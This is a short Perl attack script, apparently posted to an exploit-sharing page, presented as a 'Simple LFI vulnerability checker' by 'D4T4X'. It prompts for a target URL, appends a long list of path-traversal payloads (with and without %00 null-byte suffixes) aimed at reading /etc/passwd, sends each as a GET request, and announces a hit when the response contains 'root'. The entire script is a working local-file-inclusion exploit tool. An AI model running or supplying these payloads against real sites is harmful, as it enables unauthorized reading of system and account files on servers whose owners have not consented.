| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. | #!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
print q(
+++++++++++++++++++++++++++++++++++++++++++++++++
- - -
- - -
- Simple LFI vulnerability checker -
- by D4T4X -
- - -
- Visit ljuska.org | madspot.org -
- Thanks stefo for help -
+++++++++++++++++++++++++++++++++++++++++++++++++
);
print "Your site:\n";
$url= <STDIN>;
chomp($url);
@adressess = ('/etc/passwd%00','../etc/passwd%00','../../etc/passwd%00','../../../etc/passwd%00','../../../../etc/passwd%00','../../../../../etc/passwd%00','../../../../../../etc/passwd%00','../../../../../../../etc/passwd%00','../../../../../../../../etc/passwd%00','../../../../../../../../../etc/passwd%00','../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../etc/passwd%00','../../../../../../../../../../../../../etc/passwd%00','/etc/passwd','../etc/passwd','../../etc/passwd','../../../etc/passwd','../../../../etc/passwd','../../../../../etc/passwd','../../../../../../etc/passwd','../../../../../../../etc/passwd','../../../../../../../../etc/passwd','../../../../../../../../../etc/passwd','../../../../../../../../../../etc/passwd','../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../etc/passwd','../../../../../../../../../../../../../etc/passwd');
foreach $try(@adressess) {
my $site = $url.$try;
my $w = HTTP::Request->new(GET=>$site);
my $ua = LWP::UserAgent->new();
my $an = $ua->request($w);
if($an->content =~ root) {
print "w00t! w00t!-Founded !\n";
print "Adress: \n$site\n";
}
print $try ."\n\n\n";
}
|